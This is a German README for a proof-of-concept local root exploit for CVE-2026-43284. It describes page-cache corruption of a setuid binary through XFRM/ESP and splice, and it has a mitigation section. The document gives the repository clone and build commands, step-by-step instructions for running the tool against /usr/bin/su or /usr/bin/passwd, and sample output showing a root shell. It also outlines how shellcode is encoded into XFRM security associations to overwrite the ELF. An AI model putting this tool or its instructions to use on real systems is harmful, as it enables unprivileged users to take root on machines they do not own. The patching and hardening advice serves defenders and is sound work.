CVE-2026-43284 — 4-byte XFRM/ESP

Proof-of-Concept zur lokalen Privilegienausweitung mittels XFRM/ESP-Seitencache-Korruption
_{4-Byte-Schreibprimitive · 48 Iterationen · 192-Byte-ELF-Überschreibung · unprivilegierter Benutzer + netns}

Proof of Concept

Links: Kernel-Preflight, setuid-Scan und Exploit-Kette  ·  Rechts: Root-Shell gestartet — id / whoami bestätigen uid=0(root)
_{Getestet auf WSL2 · Ubuntu 24.04.1 LTS · Kernel 6.6.87.2-microsoft-standard-WSL2}

  ╔═══════════════════════════════════════╗
  ║  SLEY - CVE-2026-43284 dirtyfrag PoC  ║
  ╚═══════════════════════════════════════╝

Haftungsausschluss: Nur für autorisierte Sicherheitsforschung, Bildung und Tests an Systemen, die Ihnen gehören oder für die Sie ausdrückliche Testgenehmigung haben. Die Autoren haften nicht für Missbrauch.

Übersicht

Funktioniert auch, wenn algif_aead auf der Blacklist steht – der Exploit nutzt direkt den XFRM/ESP-Kernel-Codepfad.

Funktionen

Eingebaute Preflight-Prüfungen vor der Ausnutzung:

1. Kernel-Konfiguration – prüft CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP
   (liest /boot/config-*, /lib/modules/*/config oder /proc/config.gz unter WSL2)
2. Setuid-Scan – listet SUID-Binaries im System auf (find / -perm -4000)
3. Exploit – patcht den Seitencache, startet Root-Shell über PTY, stellt Ziel beim Beenden wieder her

Voraussetzungen

Kernel-Optionen

CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m   # oder =y

Schnellprüfung:

# Bare Metal / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)

# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='

Sonstiges

• Linux-Kernel anfällig für CVE-2026-43284 (siehe Patch-Status)
• gcc, libc, libutil (für forkpty)
• Lesbare setuid-Zielbinary (Standard: /usr/bin/su)

Bauen

git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make

Oder manuell:

gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil

-O0 ist beabsichtigt – Optimierung kann zeitkritisches Splice/UDP-Verhalten beeinträchtigen.

Verwendung

1. Bestätigen Sie, dass Sie keine privilegierten Rechte haben

id
# uid=1000(ihrbenutzer) gid=1000(ihrbenutzer) groups=...

2. Führen Sie den Exploit aus

./sley-dirtyfrag                  # Standardziel: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd  # benutzerdefinierte setuid-Binary

Das Tool führt drei automatisierte Phasen aus:

3. Root-Zugriff verifizieren

Innerhalb der gestarteten Shell:

id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root

4. Beenden zum Wiederherstellen

Drücken Sie Strg+D oder geben Sie exit ein. Der PoC verwirft den Seitencache, so dass die ursprüngliche Binärdatei auf der Festplatte automatisch wiederhergestellt wird.

Falls die Wiederherstellung fehlschlägt:

echo 3 | sudo tee /proc/sys/vm/drop_caches

Befehlsreferenz

Beispielausgabe

┌─[ Phase 1] Kernel-Konfigurations-Preflight
  → /proc/config.gz
  [+] CONFIG_USER_NS        = y  (erforderlich =y)
  [+] CONFIG_XFRM           = y  (erforderlich =y)
  [+] CONFIG_INET_ESP       = m  (erforderlich =m oder =y)
  Kernel-Optionen OK.

┌─[ Phase 2] setuid-Binary-Scan
  10 /usr/bin/su  ← Ziel
  14 setuid-Binaries gefunden.

┌─[ Phase 3] Exploit
  [*] unshare userns+netns, registriere 48 XFRM SA, splice→UDP 4500...
  [+] korrupt               alle Iterationen abgeschlossen
  [+] verifiziere           ELF-Patch erkannt

  ╔══════════════════════════════════════╗
  ║  Root-Shell — Beenden zum            ║
  ║  Wiederherstellen                    ║
  ╚══════════════════════════════════════╝

Abhilfe

Kernel-Patch anwenden (empfohlen)

Maßnahme: Aktualisieren Sie auf einen Distributionskernel, der den Fix enthält, oder bauen Sie aus einem gepatchten Mainline-Baum.

# Prüfen Sie Ihren laufenden Kernel
uname -r

# Überprüfen Sie, ob der Fix vorhanden ist (Beispiel – an die Paketbenennung Ihrer Distribution anpassen)
# apt update && apt install --only-upgrade linux-image-$(uname -r)

Härtungsoptionen (Defense in Depth)

Unprivilegierte Benutzer-Namespaces einschränken

Dieser Exploit ist auf unshare(CLONE_NEWUSER | CLONE_NEWNET) ohne Root angewiesen.

# Laufzeit (existiert möglicherweise nicht auf allen Kernen)
sysctl kernel.unprivileged_userns_clone=0

# Oder zur Bauzeit deaktivieren
# CONFIG_USER_NS is not set

Hinweis: Das Deaktivieren von Benutzer-Namespaces blockiert diesen PoC, aber nicht unbedingt CVE-2026-43500 (rxrpc-Variante für Systeme ohne userns).

setuid-Binaries prüfen

find / -perm -4000 -type f 2>/dev/null
# Entfernen oder härten Sie nicht benötigte Binaries

Caches nach einem vermuteten Kompromiss löschen

Wenn Sie glauben, dass eine setuid-Binary im Speicher gepatcht wurde:

echo 3 | sudo tee /proc/sys/vm/drop_caches
# Überprüfen Sie die Integrität der Binary erneut über den Paketmanager / bekannten Hash

Funktionsweise

1. unshare(CLONE_NEWUSER | CLONE_NEWNET) – isolierter Benutzer-/Netzwerk-Namespace (kein Root erforderlich).
2. 48 XFRM-Sicherheitsassoziationen registrieren – Shellcode-Bytes, kodiert in ESN seq_hi (4 Bytes pro SA).
3. Auslösen über UDP-Port 4500 mit UDP_ENCAP_ESPINUDP:
   • splice() liest die Zieldatei in eine Pipe
   • splice() verschiebt Daten von der Pipe → UDP-Socket
   • Die Page-Cache-Seite gelangt über den skip_cow-Pfad in die ESP-Streu-/Sammelliste
   • authencesn Scatterwalk schreibt seq_hi an assoclen + cryptlen
4. HMAC schlägt fehl – aber der Page-Cache-Schreibvorgang bleibt bestehen.
5. Ausführen der gepatchten setuid-Binary – minimales ELF führt setuid(0) / setgid(0) / aus.

Getestete Umgebungen

Verwandte Arbeiten

• CVE-2026-43500 – rxrpc-Variante für Systeme ohne Benutzer-Namespaces; zielt auf /etc/passwd mit einer 8-Byte-pcbc(fcrypt)-Brute-Force-Primitive ab. Nicht in diesem Repository enthalten.

Dateien

Lizenz

Wird wie besehen für Forschungs- und Bildungszwecke bereitgestellt. Verantwortungsvoll nutzen.

Autor

SLEY — CVE-2026-43284 dirtyfrag PoC

Falls dies Ihrer Forschung geholfen hat, erwägen Sie, dem Repository einen Stern zu geben.